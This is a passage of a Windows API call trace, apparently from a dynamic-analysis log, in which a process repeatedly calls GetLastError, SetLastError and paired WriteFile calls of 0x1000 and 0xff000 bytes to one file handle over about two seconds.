[0105.410] GetLastError () returned 0x0
[0105.410] SetLastError (dwErrCode=0x0)
[0105.410] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.410] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.435] GetLastError () returned 0x0
[0105.435] SetLastError (dwErrCode=0x0)
[0105.436] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.436] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.461] GetLastError () returned 0x0
[0105.462] SetLastError (dwErrCode=0x0)
[0105.462] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.462] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.487] GetLastError () returned 0x0
[0105.487] SetLastError (dwErrCode=0x0)
[0105.487] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.487] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.514] GetLastError () returned 0x0
[0105.514] SetLastError (dwErrCode=0x0)
[0105.514] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.514] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.539] GetLastError () returned 0x0
[0105.540] SetLastError (dwErrCode=0x0)
[0105.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.540] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.565] GetLastError () returned 0x0
[0105.565] SetLastError (dwErrCode=0x0)
[0105.565] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.565] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.596] GetLastError () returned 0x0
[0105.596] SetLastError (dwErrCode=0x0)
[0105.596] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.596] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.666] GetLastError () returned 0x0
[0105.666] SetLastError (dwErrCode=0x0)
[0105.666] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.667] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.733] GetLastError () returned 0x0
[0105.733] SetLastError (dwErrCode=0x0)
[0105.733] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.733] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.844] GetLastError () returned 0x0
[0105.844] SetLastError (dwErrCode=0x0)
[0105.845] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.845] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.918] GetLastError () returned 0x0
[0105.918] SetLastError (dwErrCode=0x0)
[0105.918] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.918] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.944] GetLastError () returned 0x0
[0105.944] SetLastError (dwErrCode=0x0)
[0105.944] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.945] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.970] GetLastError () returned 0x0
[0105.970] SetLastError (dwErrCode=0x0)
[0105.970] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.971] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.997] GetLastError () returned 0x0
[0106.006] SetLastError (dwErrCode=0x0)
[0106.006] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.006] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.031] GetLastError () returned 0x0
[0106.031] SetLastError (dwErrCode=0x0)
[0106.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.062] GetLastError () returned 0x0
[0106.062] SetLastError (dwErrCode=0x0)
[0106.062] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.062] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.096] GetLastError () returned 0x0
[0106.096] SetLastError (dwErrCode=0x0)
[0106.096] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.096] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.173] GetLastError () returned 0x0
[0106.173] SetLastError (dwErrCode=0x0)
[0106.173] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.173] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.205] GetLastError () returned 0x0
[0106.205] SetLastError (dwErrCode=0x0)
[0106.205] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.206] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.288] GetLastError () returned 0x0
[0106.288] SetLastError (dwErrCode=0x0)
[0106.288] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.289] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.321] GetLastError () returned 0x0
[0106.321] SetLastError (dwErrCode=0x0)
[0106.321] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.321] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.349] GetLastError () returned 0x0
[0106.349] SetLastError (dwErrCode=0x0)
[0106.349] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.349] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.384] GetLastError () returned 0x0
[0106.384] SetLastError (dwErrCode=0x0)
[0106.384] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.384] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.410] GetLastError () returned 0x0
[0106.410] SetLastError (dwErrCode=0x0)
[0106.410] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.410] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.440] GetLastError () returned 0x0
[0106.440] SetLastError (dwErrCode=0x0)
[0106.440] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.440] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.465] GetLastError () returned 0x0
[0106.465] SetLastError (dwErrCode=0x0)
[0106.466] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.466] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.492] GetLastError () returned 0x0
[0106.492] SetLastError (dwErrCode=0x0)
[0106.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.518] GetLastError () returned 0x0
[0106.518] SetLastError (dwErrCode=0x0)
[0106.518] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.518] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.585] GetLastError () returned 0x0
[0106.585] SetLastError (dwErrCode=0x0)
[0106.585] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.585] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.651] GetLastError () returned 0x0
[0106.651] SetLastError (dwErrCode=0x0)
[0106.652] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.652] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.711] GetLastError () returned 0x0
[0106.711] SetLastError (dwErrCode=0x0)
[0106.711] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.712] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.737] GetLastError () returned 0x0
[0106.737] SetLastError (dwErrCode=0x0)
[0106.737] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.737] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.763] GetLastError () returned 0x0
[0106.763] SetLastError (dwErrCode=0x0)
[0106.763] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.763] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.789] GetLastError () returned 0x0
[0106.789] SetLastError (dwErrCode=0x0)
[0106.789] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.789] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.899] GetLastError () returned 0x0
[0106.899] SetLastError (dwErrCode=0x0)
[0106.899] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.899] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.925] GetLastError () returned 0x0
[0106.925] SetLastError (dwErrCode=0x0)
[0106.925] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.925] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.950] GetLastError () returned 0x0
[0106.951] SetLastError (dwErrCode=0x0)
[0106.951] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.951] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0106.976] GetLastError () returned 0x0
[0106.976] SetLastError (dwErrCode=0x0)
[0106.977] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0106.977] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.044] GetLastError () returned 0x0
[0107.044] SetLastError (dwErrCode=0x0)
[0107.044] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.044] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.111] GetLastError () returned 0x0
[0107.112] SetLastError (dwErrCode=0x0)
[0107.112] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.112] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.137] GetLastError () returned 0x0
[0107.137] SetLastError (dwErrCode=0x0)
[0107.137] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.137] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.163] GetLastError () returned 0x0
[0107.163] SetLastError (dwErrCode=0x0)
[0107.163] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0107.164] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0107.189] GetLastError () returned 0x0
[0107.189] SetLastError (dwErrCode=0x0)
